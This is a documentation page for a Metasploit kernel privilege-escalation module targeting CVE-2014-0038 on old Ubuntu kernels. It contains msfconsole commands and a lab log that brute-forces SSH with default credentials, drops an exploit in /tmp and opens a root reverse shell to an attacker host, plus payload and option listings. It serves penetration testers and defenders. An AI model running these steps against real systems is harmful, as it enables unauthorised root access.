Linux Kernel recvmmsg Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/recvmmsg_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linux Kernel recvmmsg Privilege Escalation
Module: exploit/linux/local/recvmmsg_priv_esc
Source code: modules/exploits/linux/local/recvmmsg_priv_esc.rb
Disclosure date: 2014-02-02
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-0038
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg system call with a crafted timeout pointer parameter to gain root. This exploit has offsets for 3 Ubuntu 13 kernels: 3.8.0-19-generic (13.04 default); 3.11.0-12-generic (13.10 default); 3.11.0-15-generic (13.10). This exploit may take up to 13 minutes to run due to a decrementing (1/sec) pointer which starts at 0xff*3 (765 seconds)
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/recvmmsg_priv_esc
msf exploit(recvmmsg_priv_esc) > show targets
... a list of targets ...
msf exploit(recvmmsg_priv_esc) > set TARGET target-id
msf exploit(recvmmsg_priv_esc) > show options
... show and set options ...
msf exploit(recvmmsg_priv_esc) > set SESSION session-id
msf exploit(recvmmsg_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Creating A Testing Environment
This module works against Ubuntu 13.04, and 13.10. As of writing this, those releases are at EOL (end of life). If you wish to install gcc or other command, you'll need to fix your /etc/sources.list to
point to the correct repos.
sudo sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list source
This module has been tested against:
- Ubuntu 13.04 (default kernel) 3.8.0-19-generic
This module should also work against:
- Ubuntu 13.10 (default kernel) 3.11.0-12-generic
- Ubuntu 13.10 3.11.0-15-generic
More kernels could be added to this, just need the proper offsets.
Verification Steps
- Start msfconsole
- Exploit a box via whatever method
- Do:
use exploit/linux/local/recvmmsg_priv_esc - Do:
set session # - Do:
set verbose true - Do:
exploit
Options
COMPILE
If we should attempt to compile live on the system, or drop a binary. Default is auto which will compile if gcc is installed.
WritableDir
A folder we can write files to. Defaults to /tmp
Scenarios
Ubuntu 13.04 (with default kernel: 3.8.0-19-generic)
Initial Access
[*] Processing recvmmsg.rc for ERB directives.
resource (recvmmsg.rc)> use auxiliary/scanner/ssh/ssh_login
resource (recvmmsg.rc)> set rhosts 192.168.2.20
rhosts => 192.168.2.20
resource (recvmmsg.rc)> set username ubuntu
username => ubuntu
resource (recvmmsg.rc)> set password ubuntu
password => ubuntu
resource (recvmmsg.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39613 -> 192.168.2.20:22) at 2016-10-08 23:19:48 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Escalate
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
resource (recvmmsg.rc)> set verbose true
verbose => true
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (recvmmsg.rc)> set session 1
session => 1
resource (recvmmsg.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (recvmmsg.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[+] gcc is installed
[*] Live compiling exploit on system
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[*] Writing to /tmp/4bUIkbrG.c (5950 bytes)
[*] Max line length is 65537
[*] Writing 5950 bytes in 1 chunks of 20667 bytes (octal-encoded), using printf
[*] Compiling /tmp/4bUIkbrG.c
[*] Writing to /tmp/a0RwAacU (185 bytes)
[*] Max line length is 65537
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:20:00 -0400
[*] Sending stage (36 bytes) to 192.168.2.20
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:32:49 -0400
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
Using pre-compiled binaries on the same system
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
resource (recvmmsg.rc)> set verbose true
verbose => true
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (recvmmsg.rc)> set session 1
session => 1
resource (recvmmsg.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (recvmmsg.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[-] gcc is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[*] Writing to /tmp/Yc0xB9oC (14571 bytes)
[*] Max line length is 65537
[*] Writing 14571 bytes in 1 chunks of 38575 bytes (octal-encoded), using printf
[*] Writing to /tmp/a0RwAacU (185 bytes)
[*] Max line length is 65537
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:42:01 -0400
[*] Sending stage (36 bytes) to 192.168.2.20
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:54:50 -0400
[+] Deleted /tmp/Yc0xB9oC
[+] Deleted /tmp/a0RwAacU
2689016405
carERUCEUgdCZfvTyiWuBklsNMqcNhey
true
dPZDicgefmDeBvIpRYKaToiSQmHWQxBe
yGWMZKlCTQskKCZERIXNchDARUIzzBJn
FjFxyOSVHntGpawbQfSzIdRPsbeyOgSq
true
HFPuJArQoYvuxhkoWbAwvdDbNVUjSdUL
vMvWNASOZcfTmStOGnozdJzfTAUWJYzU
VQUKZqzBlQaQJmbtyQSSNudDtINToRhu
whoami
root
Go back to menu.
Msfconsole Usage
Here is how the linux/local/recvmmsg_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/recvmmsg_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/recvmmsg_priv_esc) > show info
Name: Linux Kernel recvmmsg Privilege Escalation
Module: exploit/linux/local/recvmmsg_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2014-02-02
Provided by:
h00die <[email protected]>
rebel
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
Payload information:
Description:
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
system call with a crafted timeout pointer parameter to gain root.
This exploit has offsets for 3 Ubuntu 13 kernels: 3.8.0-19-generic
(13.04 default); 3.11.0-12-generic (13.10 default);
3.11.0-15-generic (13.10). This exploit may take up to 13 minutes to
run due to a decrementing (1/sec) pointer which starts at 0xff*3
(765 seconds)
References:
http://www.securityfocus.com/bid/65255
https://nvd.nist.gov/vuln/detail/CVE-2014-0038
https://www.exploit-db.com/exploits/31347
https://www.exploit-db.com/exploits/31346
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900
Module Options
This is a complete list of options available in the linux/local/recvmmsg_priv_esc exploit:
msf6 exploit(linux/local/recvmmsg_priv_esc) > show options
Module options (exploit/linux/local/recvmmsg_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/recvmmsg_priv_esc exploit:
msf6 exploit(linux/local/recvmmsg_priv_esc) > show advanced
Module advanced options (exploit/linux/local/recvmmsg_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 780 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files (must not be mounted noexec)
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/recvmmsg_priv_esc module can exploit:
msf6 exploit(linux/local/recvmmsg_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/recvmmsg_priv_esc exploit:
msf6 exploit(linux/local/recvmmsg_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/recvmmsg_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/recvmmsg_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- <PATH>.c failed to compile
- gcc is not installed. Compiling will fail.
- System architecture <ARCH> is not supported
- System kernel <VERSION> is not based on Ubuntu
- System kernel <VERSION> is not exploitable
- Kernel <RELEASE> <VERSION> is not exploitable
- Session already has root privileges. Set ForceExploit to override.
- <BASE_DIR> is not writable
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PATH>.c failed to compile
Here is a relevant code snippet related to the "<PATH>.c failed to compile" error message:
81: end
82:
83: output = cmd_exec gcc_cmd
84: unless output.blank?
85: print_error output
86: fail_with Failure::Unknown, "#{path}.c failed to compile"
87: end
88:
89: cmd_exec "chmod +x #{path}"
90: end
91:
gcc is not installed. Compiling will fail.
Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:
104: vprint_good 'gcc is installed'
105: return true
106: end
107:
108: unless datastore['COMPILE'].eql? 'Auto'
109: fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
110: end
111: end
112:
113: def check
114: arch = kernel_hardware
System architecture <ARCH> is not supported
Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:
111: end
112:
113: def check
114: arch = kernel_hardware
115: unless arch.include? 'x86_64'
116: vprint_error "System architecture #{arch} is not supported"
117: return CheckCode::Safe
118: end
119: vprint_good "System architecture #{arch} is supported"
120:
121: version = kernel_version
System kernel <VERSION> is not based on Ubuntu
Here is a relevant code snippet related to the "System kernel <VERSION> is not based on Ubuntu" error message:
118: end
119: vprint_good "System architecture #{arch} is supported"
120:
121: version = kernel_version
122: unless version.include? 'Ubuntu'
123: vprint_error "System kernel #{version} is not based on Ubuntu"
124: return CheckCode::Safe
125: end
126: vprint_good 'System kernel is based on Ubuntu'
127:
128: # Ubuntu 12.x kernels are not supported
System kernel <VERSION> is not exploitable
Here is a relevant code snippet related to the "System kernel <VERSION> is not exploitable" error message:
125: end
126: vprint_good 'System kernel is based on Ubuntu'
127:
128: # Ubuntu 12.x kernels are not supported
129: if version.include? 'precise'
130: vprint_error "System kernel #{version} is not exploitable"
131: return CheckCode::Safe
132: end
133:
134: release = kernel_release
135: unless release =~ /^3\.11\.0-(12|15)-generic/ || release.eql?('3.8.0-19-generic')
Kernel <RELEASE> <VERSION> is not exploitable
Here is a relevant code snippet related to the "Kernel <RELEASE> <VERSION> is not exploitable" error message:
131: return CheckCode::Safe
132: end
133:
134: release = kernel_release
135: unless release =~ /^3\.11\.0-(12|15)-generic/ || release.eql?('3.8.0-19-generic')
136: vprint_error "Kernel #{release} #{version} is not exploitable"
137: return CheckCode::Safe
138: end
139: vprint_good "Kernel #{release} #{version} is exploitable"
140:
141: CheckCode::Appears
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
142: end
143:
144: def exploit
145: if is_root?
146: unless datastore['ForceExploit']
147: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
148: end
149: end
150:
151: unless writable? base_dir
152: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
147: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
148: end
149: end
150:
151: unless writable? base_dir
152: fail_with Failure::BadConfig, "#{base_dir} is not writable"
153: end
154:
155: # Upload exploit executable
156: executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
157: executable_path = "#{base_dir}/#{executable_name}"
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- BID-65255
- CVE-2014-0038
- EDB-31347
- EDB-31346
- https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900
See Also
Related Nessus plugins:
- SUSE SLES12 Security Update : kernel (SUSE-SU-2017:3210-1) (Dirty COW)
- SUSE SLES12 Security Update : kernel (SUSE-SU-2017:3249-1) (Dirty COW)
- EulerOS Virtualization 3.0.1.0 : kernel (EulerOS-SA-2019-1477)
- EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1538)
- Ubuntu 12.04 LTS : linux-lts-raring vulnerability (USN-2094-1)
- Ubuntu 12.04 LTS : linux-lts-saucy vulnerability (USN-2095-1)
- Ubuntu 13.10 : linux vulnerability (USN-2096-1)
- Mandriva Linux Security Advisory : kernel (MDVSA-2014:038)
- Slackware 14.1 : kernel (SSA:2014-050-03)
- Oracle Linux 6 : Unbreakable Enterprise kernel (ELSA-2014-3034)
Authors
- h00die <[email protected]>
- rebel
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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